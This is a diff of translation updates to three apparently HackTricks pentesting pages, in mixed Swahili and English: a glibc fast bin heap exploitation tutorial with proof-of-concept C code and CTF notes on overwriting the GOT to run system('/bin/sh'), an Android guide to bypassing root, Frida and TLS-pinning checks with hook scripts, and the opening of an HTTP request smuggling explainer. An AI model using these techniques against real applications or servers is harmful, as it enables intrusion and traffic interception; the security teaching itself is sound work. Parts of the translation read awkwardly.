Translated ['src/pentesting-web/http-request-smuggling/README.md', 'src/

src/binary-exploitation/libc-heap/fast-bin-attack.md

@@ -2,17 +2,18 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Taarifa za Msingi
+
+Kwa taarifa zaidi kuhusu ni nini fast bin angalia ukurasa huu:
 
-Kwa maelezo zaidi kuhusu nini maana ya fast bin angalia ukurasa huu:
 
 {{#ref}}
 bins-and-memory-allocations.md
 {{#endref}}
 
-Kwa sababu fast bin ni orodha iliyo na viungo vya moja kwa moja, kuna ulinzi mdogo zaidi kuliko katika bins nyingine na tu **kubadilisha anwani katika chunk ya fast bin iliyofutwa** inatosha kuwa na uwezo wa **kuweka chunk baadaye katika anwani yoyote ya kumbukumbu**.
+Kwa sababu fast bin ni singly linked list, kuna ulinzi mdogo zaidi kuliko katika bins nyingine na **modifying an address in a freed fast bin** chunk inatosha ili kuweza **allocate later a chunk in any memory address**.
 
-Kama muhtasari:
+Kwa muhtasari:
 ```c
 ptr0 = malloc(0x20);
 ptr1 = malloc(0x20);
@@ -28,7 +29,7 @@ free(ptr1)
 ptr2 = malloc(0x20); // This will get ptr1
 ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
 ```
-Unaweza kupata mfano kamili katika msimbo ulioelezewa vizuri kutoka [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
+Unaweza kupata mfano kamili katika code iliyofafanuliwa vizuri sana kutoka kwa [https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -118,26 +119,31 @@ printf("\n\nJust like that, we executed a fastbin attack to allocate an address
 }
 ```
 > [!CAUTION]
-> Ikiwa inawezekana kubadilisha thamani ya kiambatisho cha kimataifa **`global_max_fast`** kwa nambari kubwa, hii inaruhusu kuunda vipande vya fast bin vya ukubwa mkubwa, ambayo inaweza kuruhusu kufanya mashambulizi ya fast bin katika hali ambazo hazikuwezekana hapo awali. Hali hii ni muhimu katika muktadha wa [large bin attack](large-bin-attack.md) na [unsorted bin attack](unsorted-bin-attack.md)
+> Ikiwa inawezekana ku-overwrite thamani ya global variable **`global_max_fast`** kwa namba kubwa, hili linawezesha kuzalisha fast bin chunks za ukubwa mkubwa zaidi, na kwa hivyo linaweza kuruhusu kufanya fast bin attacks katika matukio ambapo haikuwezekana hapo awali. Hali hii ni muhimu katika muktadha wa [large bin attack](large-bin-attack.md) na [unsorted bin attack](unsorted-bin-attack.md)
 
 ## Mifano
 
 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
-- Inawezekana kugawa vipande, kuvisafisha, kusoma maudhui yake na kuviweka (kwa kutumia udhaifu wa overflow).
-- **Consolidate chunk for infoleak**: Mbinu hii ni kimsingi kutumia overflow kuunda `prev_size` bandia ili vipande vya awali viwe ndani ya kimoja kikubwa, hivyo wakati wa kugawa kimoja kikubwa kinachoshikilia kipande kingine, inawezekana kuchapisha data yake na kuvuja anwani kwa libc (`main_arena+88`).
-- **Overwrite malloc hook**: Kwa hili, na kutumia hali ya awali ya overlapping, ilikuwa inawezekana kuwa na vipande 2 vilivyokuwa vinashikilia kumbukumbu ile ile. Hivyo, kuvisafisha vyote (kusafisha kipande kingine katikati ili kuepuka ulinzi) ilikuwa inawezekana kuwa na kipande kile kile katika fast bin mara 2. Kisha, ilikuwa inawezekana kukigawa tena, kubadilisha anwani ya kipande kinachofuata ili kiashirie kidogo kabla ya `__malloc_hook` (hivyo kiashirie kwa nambari ambayo malloc inadhani ni ukubwa wa bure - bypass nyingine), kukigawa tena na kisha kugawa kipande kingine ambacho kitapokea anwani kwa malloc hooks.\
-Hatimaye **one gadget** iliandikwa humo.
+- Inawezekana kuallocate chunks, ku-free them, kusoma yaliyomo yao na kuzijaza (kwa overflow vulnerability).
+- **Consolidate chunk for infoleak**: Mbinu hiyo kwa msingi ni kutumia overflow kuunda fake `prev_size` hivyo chunk moja ya awali inawekwa ndani ya kubwa zaidi, hivyo unapoallocate kubwa yenye chunk nyingine, inawezekana kuchapisha data yake na leak an address ya libc (`main_arena+88`).
+- **Overwrite malloc hook**: Kwa hili, na kwa kutumia hali ya overlapping iliyotajwa, ilikuwepo uwezekano wa kupata chunks 2 zilizoonyesha kwenye memory ileile. Kwa hivyo, ku-free zote mbili (ukiwa una-free chunk nyingine katikati ili kuepuka protections) kulifanya iwezekane kuwa chunk ileile iko kwenye fast bin mara 2. Kisha, ilikuwa inawezekana kuallocate tena, ku-overwrite address ya next chunk ili ianze kidogo kabla ya `__malloc_hook` (ili ianze kwenye integer ambayo malloc inadhani ni free size - bypass nyingine), kuallocate tena na kisha kuallocate chunk nyingine ambayo itapokea address kwa malloc hooks. Mwisho, **one gadget** iliandikwa huko.
 - **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
-- Kuna overflow ya heap na matumizi baada ya kusafisha na kusafisha mara mbili kwa sababu wakati kipande kinapaswa kusafishwa inawezekana kutumia tena na kusafisha tena viashiria
-- **Libc info leak**: Safisha baadhi ya vipande na vitapata kiashiria kwa sehemu ya eneo la main arena. Kwa kuwa unaweza kutumia tena viashiria vilivyosafishwa, soma tu anwani hii.
-- **Fast bin attack**: Viashiria vyote vya kugawa vinahifadhiwa ndani ya array, hivyo tunaweza kusafisha vipande kadhaa vya fast bin na katika ile ya mwisho kubadilisha anwani ili kiashirie kidogo kabla ya array hii ya viashiria. Kisha, gawiwa vipande kadhaa vya ukubwa sawa na tutapata kwanza ile halali na kisha ile bandia inayoshikilia array ya viashiria. Sasa tunaweza kubadilisha viashiria vya kugawa ili kufanya anwani ya GOT ya `free` iashirie kwa `system` na kisha kuandika `"/bin/sh"` katika kipande 1 ili kisha kuita `free(chunk1)` ambayo badala yake itatekeleza `system("/bin/sh")`.
+- Kuna heap overflow na use after free na double free kwa kuwa wakati chunk inapo-free inawezekana kureuse na ku-free pointers tena
+- **Libc info leak**: Free tu baadhi ya chunks na zitapata pointer kwa sehemu ya main arena. Kwa kuwa unaweza reuse freed pointers, soma address hiyo.
+- **Fast bin attack**: Pointer zote za allocations zimetumwa ndani ya array, hivyo tunaweza ku-free jozi ya fast bin chunks na kwenye ya mwisho ku-overwrite address ili ianze kidogo kabla ya array hii ya pointers. Kisha, kuallocate jozi ya chunks za size sawa na tutapata kwanza ile halali na kisha ile fake yenye array ya pointers. Sasa tunaweza ku-overwrite pointers hizi za allocation ili kufanya GOT address ya `free` ianze kuonyesha `system` na kisha kuandika "/bin/sh" katika chunk 1 kisha kuita `free(chunk1)` ambayo badala yake itatekeleza `system("/bin/sh")`.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Mfano mwingine wa kutumia overflow ya byte moja ili kuunganisha vipande katika unsorted bin na kupata libc infoleak na kisha kufanya mashambulizi ya fast bin ili kubadilisha malloc hook na anwani ya one gadget
+- Mfano mwingine wa kutumia one byte overflow ku-consolidate chunks katika unsorted bin na kupata libc infoleak na kisha kufanya fast bin attack ku-overwrite malloc hook na address ya one gadget
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
-- Baada ya infoleak ikitumia unsorted bin na UAF kuvuja anwani ya libc na anwani ya PIE, exploit ya CTF hii ilitumia mashambulizi ya fast bin kugawa kipande katika mahali ambapo viashiria vya vipande vilivyodhibitiwa vilikuwa vimewekwa hivyo ilikuwa inawezekana kubadilisha viashiria fulani ili kuandika one gadget katika GOT
-- Unaweza kupata mashambulizi ya Fast Bin yaliyotumiwa kupitia mashambulizi ya unsorted bin:
-- Kumbuka kwamba ni kawaida kabla ya kufanya mashambulizi ya fast bin kutumia orodha za bure kuvuja anwani za libc/heap (wakati inahitajika).
+- Baada ya infoleak kwa kutumia unsorted bin pamoja na UAF ili leak libc address na PIE address, exploit ya CTF hii ilitumia fast bin attack kuallocate chunk mahali ambapo pointers za chunks zilizo under control zilikuwa, hivyo ilikuwa inawezekana ku-overwrite pointers fulani kuandika one gadget katika GOT
+- Unaweza kupata Fast Bin attack iliyotumika kupitia unsorted bin attack:
+- Kumbuka kuwa kawaida kabla ya kufanya fast bin attacks ni kutumika free-lists kupata leak za libc/heap addresses (wakati zinahitajika).
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
-- Tunaweza tu kugawa vipande vya ukubwa mkubwa zaidi ya `0x100`.
-- Badilisha `global_max_fast` kwa kutumia mashambulizi ya Unsorted Bin (inafanya kazi 1/16 kwa sababu ya ASLR, kwa sababu tunahitaji kubadilisha bits 12, lakini lazima tubadilishe bits 16).
-- Mashambulizi ya Fast Bin kubadilisha array ya kimataifa ya vipande. Hii inatoa primitive ya kusoma/kandika isiyo na mipaka, ambayo inaruhusu kubadilisha GOT na kuweka baadhi ya kazi kuashiria kwa `system`.
+- Tunaweza kuallocate tu chunks za size kubwa kuliko `0x100`.
+- Overwrite `global_max_fast` kwa kutumia Unsorted Bin attack (inafanya kazi 1/16 ya muda kutokana na ASLR, kwa sababu tunahitaji kubadilisha 12 bits, lakini lazima tubadilishe 16 bits).
+- Fast Bin attack ili ku-modify global array ya chunks. Hii inatoa primitive ya arbitrary read/write, ambayo inaruhusu ku-modify GOT na kuweka function fulani ianze kuonyesha `system`.
+
+{{#ref}}
+unsorted-bin-attack.md
+{{#endref}}
+
+{{#include ../../banners/hacktricks-training.md}}

src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md

@@ -2,75 +2,75 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Ukurasa huu unatoa mchakato wa vitendo wa kurejesha uchambuzi wa dynamic dhidi ya programu za Android ambazo zinagundua/block-root instrumentation au kutekeleza TLS pinning. Inazingatia uchambuzi wa haraka, ugunduzi wa kawaida, na vidokezo/taktiki zinazoweza kunakiliwa na kupitishwa ili kuzikwepa bila repacking inapowezekana.
+Ukurasa huu unaonyesha mtiririko wa vitendo wa kurudisha uwezo wa dynamic analysis dhidi ya Android apps zinazogundua/root‑block instrumentation au kutekeleza TLS pinning. Unalenga triage ya haraka, ugunduzi wa kawaida, na hooks/tactics zinazoweza kunakili‑na‑kubandika ili kuzivuka bila repacking inapowezekana.
 
-## Detection Surface (nini programu zinakagua)
+## Detection Surface (what apps check)
 
 - Root checks: su binary, Magisk paths, getprop values, common root packages
 - Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
 - Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
-- Early init checks: Application.onCreate() au mchakato wa kuanzisha vidokezo vinavyoshindwa ikiwa instrumentation ipo
+- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
 - TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
 
 ## Step 1 — Quick win: hide root with Magisk DenyList
 
-- Wezesha Zygisk katika Magisk
-- Wezesha DenyList, ongeza kifurushi cha lengo
-- Reboot na upime tena
+- Enable Zygisk in Magisk
+- Enable DenyList, add the target package
+- Reboot and retest
 
-Programu nyingi tu zinatazama viashiria dhahiri (su/Magisk paths/getprop). DenyList mara nyingi inafanya kazi kuondoa ukaguzi wa kijinga.
+Programu nyingi zinatafuta tu viashiria vya wazi (su/Magisk paths/getprop). DenyList mara nyingi huondoa ukaguzi wa aina hiyo.
 
 References:
 - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
 
 ## Step 2 — 30‑second Frida Codeshare tests
 
-Jaribu scripts za kawaida za drop‑in kabla ya kuingia kwa undani:
+Try common drop‑in scripts before deep diving:
 
 - anti-root-bypass.js
 - anti-frida-detection.js
 - hide_frida_gum.js
 
-Mfano:
+Example:
 ```bash
 frida -U -f com.example.app -l anti-frida-detection.js
 ```
-Hizi kwa kawaida huondoa ukaguzi wa Java root/debug, skana za mchakato/huduma, na ptrace() asilia. Zinatumika kwenye programu zilizo na ulinzi hafifu; malengo yaliyohardishwa yanaweza kuhitaji vidokezo maalum.
+Hizi kwa kawaida hufanya stub Java root/debug checks, process/service scans, na native ptrace(). Zinasaidia kwenye apps zenye ulinzi mdogo; hardened targets zinaweza kuhitaji tailored hooks.
 
 - Codeshare: https://codeshare.frida.re/
 
-## Hatua ya 3 — Pita waandishi wa wakati wa kuanzisha kwa kuungana baadaye
+## Hatua 3 — Bypass init-time detectors by attaching late
 
-Ugunduzi mwingi hufanyika tu wakati wa kuzalisha mchakato/onCreate(). Uingizaji wa wakati wa kuzalisha (-f) au vifaa vinakamatwa; kuungana baada ya UI kupakia kunaweza kupita.
+Ugundaji mwingi hufanywa tu wakati wa process spawn/onCreate(). Spawn‑time injection (-f) au gadgets hupatikana; kuambatisha baada UI inapopakua kunaweza kupita bila kugunduliwa.
 ```bash
 # Launch the app normally (launcher/adb), wait for UI, then attach
 frida -U -n com.example.app
 # Or with Objection to attach to running process
 aobjection --gadget com.example.app explore  # if using gadget
 ```
-Ikiwa hii inafanya kazi, panua kikao na uendelee na ramani na ukaguzi wa stub.
+Ikiwa hii itafanya kazi, weka kikao thabiti na endelea na kukagua ramani na stub.
 
-## Hatua ya 4 — Ramani ya mantiki ya kugundua kupitia Jadx na uwindaji wa nyuzi
+## Hatua 4 — Ramani mantiki ya utambuzi kupitia Jadx na kutafuta strings
 
-Maneno muhimu ya triage ya statiki katika Jadx:
+Static triage keywords in Jadx:
 - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
 
-Mifumo ya kawaida ya Java:
+Typical Java patterns:
 ```java
 public boolean isFridaDetected() {
 return getRunningServices().contains("frida");
 }
 ```
-Common APIs to review/hook:
+API za kawaida za kukagua/hook:
 - android.os.Debug.isDebuggerConnected
 - android.app.ActivityManager.getRunningAppProcesses / getRunningServices
-- java.lang.System.loadLibrary / System.load (native bridge)
-- java.lang.Runtime.exec / ProcessBuilder (probing commands)
-- android.os.SystemProperties.get (root/emulator heuristics)
+- java.lang.System.loadLibrary / System.load (daraja la asili)
+- java.lang.Runtime.exec / ProcessBuilder (amri za kuchunguza)
+- android.os.SystemProperties.get (heuristics za root/emulator)
 
-## Step 5 — Runtime stubbing with Frida (Java)
+## Hatua 5 — Runtime stubbing na Frida (Java)
 
-Override custom guards to return safe values without repacking:
+Rekebisha custom guards ili zirudishe thamani salama bila repacking:
 ```js
 Java.perform(() => {
 const Checks = Java.use('com.example.security.Checks');
@@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
 AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
 });
 ```
-Kuchunguza ajali za mapema? Tupa madarasa kabla ya kufa ili kubaini majina ya nafasi za ugunduzi zinazoweza kuwa:
+Triaging early crashes? Dump classes tu kabla inakufa ili kugundua detection namespaces zinazowezekana:
 ```js
 Java.perform(() => {
 Java.enumerateLoadedClasses({
@@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
 });
 });
 ```
-Log na kuzuia mbinu zinazoshukiwa ili kuthibitisha mtiririko wa utekelezaji:
+Log na kulemaza mbinu zenye shaka ili kuthibitisha mtiririko wa utekelezaji:
 ```js
 Java.perform(() => {
 const Det = Java.use('com.example.security.DetectionManager');
@@ -104,13 +104,13 @@ return false;
 };
 });
 ```
-## Step 6 — Fuata njia ya JNI/native wakati vidokezo vya Java vinashindwa
+## Hatua 6 — Fuata nyayo za JNI/native wakati Java hooks zinashindwa
 
-Fuata alama za kuingia za JNI ili kupata wasakinishaji wa asili na kuanzisha ugunduzi:
+Rambua JNI entry points ili kupata native loaders na detection init:
 ```bash
 frida-trace -n com.example.app -i "JNI_OnLoad"
 ```
-Haraka ya asili ya uchambuzi wa faili za .so zilizofungwa:
+Triage ya haraka ya native ya faili za .so zilizoambatanishwa:
 ```bash
 # List exported symbols & JNI
 nm -D libfoo.so | head
@@ -121,7 +121,7 @@ Interactive/native reversing:
 - Ghidra: https://ghidra-sre.org/
 - r2frida: https://github.com/nowsecure/r2frida
 
-Mfano: neuter ptrace ili kushinda anti‑debug rahisi katika libc:
+Mfano: kudhoofisha ptrace ili kushinda anti‑debug rahisi katika libc:
 ```js
 const ptrace = Module.findExportByName(null, 'ptrace');
 if (ptrace) {
@@ -130,40 +130,43 @@ return -1; // pretend failure
 }, 'int', ['int', 'int', 'pointer', 'pointer']));
 }
 ```
-Tazama pia: {{#ref}}
+Angalia pia:
+{{#ref}}
 reversing-native-libraries.md
 {{#endref}}
 
-## Hatua ya 7 — Urekebishaji wa Objection (kuweka kifaa / kuondoa misingi)
+## Step 7 — Objection patching (embed gadget / strip basics)
 
-Unapopendelea kufunga upya badala ya vidokezo vya wakati wa utekelezaji, jaribu:
+Unapopendelea repacking kuliko runtime hooks, jaribu:
 ```bash
 objection patchapk --source app.apk
 ```
-Notes:
-- Inahitaji apktool; hakikisha toleo la sasa kutoka kwa mwongozo rasmi ili kuepuka matatizo ya kujenga: https://apktool.org/docs/install
-- Gadget injection inaruhusu instrumentation bila root lakini bado inaweza kukamatwa na ukaguzi mzito wa wakati wa kuanzisha.
+Vidokezo:
+- Inahitaji apktool; hakikisha toleo la hivi karibuni kutoka kwenye mwongozo rasmi ili kuepuka matatizo ya kujenga: https://apktool.org/docs/install
+- Gadget injection inaruhusu instrumentation bila root lakini bado inaweza kugunduliwa na stronger init‑time checks.
 
-References:
+Marejeo:
 - Objection: https://github.com/sensepost/objection
 
-## Step 8 — Fallback: Patch TLS pinning for network visibility
+## Hatua 8 — Njia mbadala: Rekebisha TLS pinning kwa uonekano wa mtandao
 
-Ikiwa instrumentation imezuiwa, bado unaweza kuchunguza trafiki kwa kuondoa pinning kwa njia ya kudumu:
+Ikiwa instrumentation imezuiwa, bado unaweza kuchunguza trafiki kwa kuondoa pinning kwa njia ya static:
 ```bash
 apk-mitm app.apk
 # Then install the patched APK and proxy via Burp/mitmproxy
 ```
 - Chombo: https://github.com/shroudedcode/apk-mitm
-- Kwa mbinu za kuaminika za CA za usanidi wa mtandao (na uaminifu wa CA wa mtumiaji wa Android 7+), angalia:
+- Kwa usanidi wa mtandao na mbinu za CA‑trust (na Android 7+ user CA trust), angalia:
+
 {{#ref}}
 make-apk-accept-ca-certificate.md
 {{#endref}}
+
 {{#ref}}
 install-burp-certificate.md
 {{#endref}}
 
-## Karatasi ya udanganyifu ya amri zilizofaa
+## Orodha ya haraka ya amri muhimu
 ```bash
 # List processes and attach
 frida-ps -Uai
@@ -181,12 +184,12 @@ objection --gadget com.example.app explore
 # Static TLS pinning removal
 apk-mitm app.apk
 ```
-## Vidokezo na tahadhari
+## Vidokezo na Tahadhari
 
-- Pendelea kuunganisha baadaye badala ya kuzalisha wakati programu zinaposhindwa kuanzishwa
-- Baadhi ya ugunduzi hujirudia katika mchakato muhimu (mfano, malipo, uthibitishaji) — weka vidokezo vya kazi wakati wa kuvinjari
-- Changanya statiki na dinamik: tafuta nyuzi katika Jadx ili kupunguza orodha ya madarasa; kisha ungana na mbinu ili kuthibitisha wakati wa utekelezaji
-- Programu zilizohardishwa zinaweza kutumia pakers na TLS pinning asilia — tarajia kubadilisha msimbo wa asili
+- Pendelea attaching baadaye badala ya spawning wakati apps zinapo crash at launch
+- Baadhi ya detections zinafanya re‑run katika critical flows (mfano, payment, auth) — weka hooks zikifanya kazi wakati wa navigation
+- Changanya static na dynamic: string hunt katika Jadx ili kupunguza classes; kisha hook methods kuthibitisha at runtime
+- Hardened apps zinaweza kutumia packers na native TLS pinning — tarajia ku-reverse native code
 
 ## Marejeo
 

src/pentesting-web/http-request-smuggling/README.md

@@ -2,63 +2,64 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## What is
 
-Ushahidi huu hutokea wakati **desyncronization** kati ya **front-end proxies** na **back-end** server inaruhusu **mshambuliaji** **kutuma** HTTP **ombio** ambalo litatafsiriwa kama **ombio moja** na **front-end** proxies (load balance/reverse-proxy) na **kama ombi 2** na **back-end** server.\
-Hii inaruhusu mtumiaji **kubadilisha ombi linalofuata linalofika kwa back-end server baada ya lake**.
+## Nini
 
-### Theory
+Udhaifu huu hutokea wakati kunakuwa na **desyncronization** kati ya **front-end proxies** na server ya **back-end**, ikimruhusu **attacker** **send** HTTP **request** ambayo itatafsiriwa kama **single request** na **front-end** proxies (load balance/reverse-proxy) na **as 2 request** na server ya **back-end**.\
+Hii inamruhusu mtumiaji **modify the next request that arrives to the back-end server after his**.
+
+### Nadharia
 
 [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
 
-> Ikiwa ujumbe unapokelewa ukiwa na uwanja wa kichwa cha Transfer-Encoding na uwanja wa kichwa cha Content-Length, wa mwisho LAZIMA upuuziliwe mbali.
+> If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.
 
 **Content-Length**
 
-> Kichwa cha Content-Length kinadhihirisha ukubwa wa mwili wa kitu, kwa bytes, kilichotumwa kwa mpokeaji.
+> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.
 
 **Transfer-Encoding: chunked**
 
-> Kichwa cha Transfer-Encoding kinabainisha aina ya usimbuaji inayotumika kwa usalama kuhamasisha mwili wa payload kwa mtumiaji.\
-> Chunked inamaanisha kwamba data kubwa inatumwa kwa mfululizo wa vipande.
+> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
+> Chunked means that large data is sent in a series of chunks
 
-### Reality
+### Uhalisia
 
-**Front-End** (load-balance / Reverse Proxy) **inasindika** _**content-length**_ au _**transfer-encoding**_ kichwa na **Back-end** server **inasindika** kichwa kingine ikisababisha **desyncronization** kati ya mifumo 2.\
-Hii inaweza kuwa hatari sana kwani **mshambuliaji ataweza kutuma ombi moja** kwa reverse proxy ambalo litatafsiriwa na **back-end** server **kama ombi 2 tofauti**. **Hatari** ya mbinu hii inategemea ukweli kwamba **back-end** server **itaelewa** **ombio la 2 lililoingizwa** kana kwamba **lilitoka kwa mteja anayefuata** na **ombio halisi** la mteja huyo litakuwa **sehemu** ya **ombio lililoingizwa**.
+The **Front-End** (a load-balance / Reverse Proxy) **process** the _**content-length**_ or the _**transfer-encoding**_ header na server ya **Back-end** **process the other** one, hivyo kusababisha **desyncronization** kati ya mifumo miwili.\
+Hii inaweza kuwa hatari sana kwa sababu **an attacker will be able to send one request** kwa reverse proxy ambayo itatafsiriwa na server ya **back-end** **as 2 different requests**. Hatari ya mbinu hii iko kwa sababu server ya **back-end** itatafsiri **2nd request injected** kana kwamba ilitoka kwa **the next client**, na **the real request** ya mteja huyo itakuwa sehemu ya **the injected request**.
 
-### Particularities
+### Sifa Maalum
 
-Kumbuka kwamba katika HTTP **herufi mpya inaundwa na bytes 2:**
+Kumbuka kwamba katika HTTP **a new line character is composed by 2 bytes:**
 
-- **Content-Length**: Kichwa hiki kinatumia **nambari ya desimali** kuonyesha **idadi** ya **bytes** za **mwili** wa ombi. Mwili unatarajiwa kumalizika katika herufi ya mwisho, **herufi mpya haitahitajika mwishoni mwa ombi**.
-- **Transfer-Encoding:** Kichwa hiki kinatumia katika **mwili** **nambari ya hexadecimal** kuonyesha **idadi** ya **bytes** za **kipande kinachofuata**. **Kipande** lazima **kimalizike** kwa **herufi mpya** lakini herufi mpya hii **haitahesabiwa** na kiashiria cha urefu. Mbinu hii ya uhamasishaji lazima ikamilike na **kipande cha ukubwa 0 kinachofuatiwa na herufi 2 mpya**: `0`
-- **Connection**: Kulingana na uzoefu wangu, inapendekezwa kutumia **`Connection: keep-alive`** kwenye ombi la kwanza la ombi Smuggling.
+- **Content-Length**: Kichwa hiki kinatumia nambari ya **decimal number** kucharacter idadi ya **bytes** za mwili wa request. Mwili unatarajiwa kumalizika kwenye tabia ya mwisho; **a new line is not needed in the end of the request**.
+- **Transfer-Encoding:** Kichwa hiki kinatumia katika mwili nambari ya **hexadecimal number** kuonyesha idadi ya **bytes** za **next chunk**. **Chunk** lazima **end** na **new line** lakini new line hii **isn't counted** kwenye kiashiria cha urefu. Mbinu hii ya uhamishaji lazima iishe na **chunk of size 0 followed by 2 new lines**: `0`
+- **Connection**: Kwa uzoefu wangu inapendekezwa kutumia **`Connection: keep-alive`** kwenye request ya kwanza ya request Smuggling.
 
-## Basic Examples
+## Mifano ya Msingi
 
 > [!TIP]
-> Unapojaribu kutumia hii na Burp Suite **zima `Update Content-Length` na `Normalize HTTP/1 line endings`** katika repeater kwa sababu baadhi ya vifaa vinatumia herufi mpya, kurudi kwa gari na maudhui yasiyo sahihi.
+> Unapotaka kujaribu hii kwa Burp Suite **zimamisha `Update Content-Length` na `Normalize HTTP/1 line endings`** kwenye repeater kwa sababu baadhi ya gadgets hutumia newlines, carriage returns na malformed content-lengths.
 
-Mashambulizi ya HTTP request smuggling yanatengenezwa kwa kutuma maombi yasiyo na uwazi ambayo yanatumia tofauti katika jinsi front-end na back-end servers zinavyotafsiri vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulizi haya yanaweza kuonekana katika aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inawakilisha mchanganyiko wa kipekee wa jinsi front-end na back-end servers zinavyopendelea vichwa hivi. Uthibitisho unatokea kutokana na servers kusindika ombi moja kwa njia tofauti, na kusababisha matokeo yasiyotarajiwa na yanaweza kuwa ya uhalifu.
+HTTP request smuggling attacks hutengenezwa kwa kutuma requests zenye utata ambazo zinachokoza tofauti za tafsiri kati ya front-end na back-end kuhusu vichwa vya `Content-Length` (CL) na `Transfer-Encoding` (TE). Mashambulizi haya yanaweza kuonekana kwa aina tofauti, hasa kama **CL.TE**, **TE.CL**, na **TE.TE**. Kila aina inaonyesha mchanganyiko wa jinsi front-end na back-end zinavyoweka kipaumbele kwa vichwa hivi. Udhaifu hutokea wanapotumia request ile ile kwa njia tofauti, na kusababisha matokeo yasiyotegemewa na kwa uharibifu.
 
-### Basic Examples of Vulnerability Types
+### Mifano ya Msingi ya Aina za Udhaifu
 
 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
 
 > [!TIP]
-> Katika jedwali la awali unapaswa kuongeza mbinu ya TE.0, kama mbinu ya CL.0 lakini ukitumia Transfer Encoding.
+> Kwa jedwali lililotangulia unapaswa kuongeza mbinu ya TE.0, kama mbinu ya CL.0 ila ukitumia Transfer Encoding.
 
 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
 
-- **Front-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`.
-- **Back-End (TE):** Inasindika ombi kulingana na kichwa cha `Transfer-Encoding`.
-- **Attack Scenario:**
+- **Front-End (CL):** Inashughulikia request kwa msingi wa kichwa `Content-Length`.
+- **Back-End (TE):** Inashughulikia request kwa msingi wa kichwa `Transfer-Encoding`.
+- **Senario ya Shambulizi:**
 
-- Mshambuliaji anatumia ombi ambapo thamani ya kichwa cha `Content-Length` haifanani na urefu halisi wa maudhui.
-- Server ya front-end inapeleka ombi lote kwa back-end, kulingana na thamani ya `Content-Length`.
-- Server ya back-end inasindika ombi kama kipande kutokana na kichwa cha `Transfer-Encoding: chunked`, ikitafsiri data iliyobaki kama ombi tofauti, linalofuata.
-- **Example:**
+- Mshambuliaji anatuma request ambapo thamani ya kichwa `Content-Length` haitosheani na urefu halisi wa maudhui.
+- front-end server inapitisha request nzima kwa back-end, ikitegemea thamani ya `Content-Length`.
+- back-end server inachukulia request kama chunked kutokana na kichwa `Transfer-Encoding: chunked`, ikitafsiri data iliyo baki kama request tofauti inayofuata.
+- **Mfano:**
 
 ```
 POST / HTTP/1.1
@@ -75,14 +76,14 @@ Foo: x
 
 #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
 
-- **Front-End (TE):** Inasindika ombi kulingana na kichwa cha `Transfer-Encoding`.
-- **Back-End (CL):** Inasindika ombi kulingana na kichwa cha `Content-Length`.
-- **Attack Scenario:**
+- **Front-End (TE):** Inashughulikia request kwa msingi wa kichwa `Transfer-Encoding`.
+- **Back-End (CL):** Inashughulikia request kwa msingi wa kichwa `Content-Length`.
+- **Senario ya Shambulizi:**
 
-- Mshambuliaji anatumia ombi la kipande ambapo ukubwa wa kipande (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havifanani.
-- Server ya front-end, ikiheshimu `Transfer-Encoding`, inapeleka ombi lote kwa back-end.
-- Server ya back-end, ikiheshimu `Content-Length`, inasindika tu sehemu ya awali ya ombi (`7b` bytes), ikiacha iliyobaki kama sehemu ya ombi linalofuata ambalo halikusudiwa.
-- **Example:**
+- Mshambuliaji anatuma request ya chunked ambapo size ya chunk (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havilingani.
+- front-end server, ikiheshimu `Transfer-Encoding`, inapitisha request nzima kwa back-end.
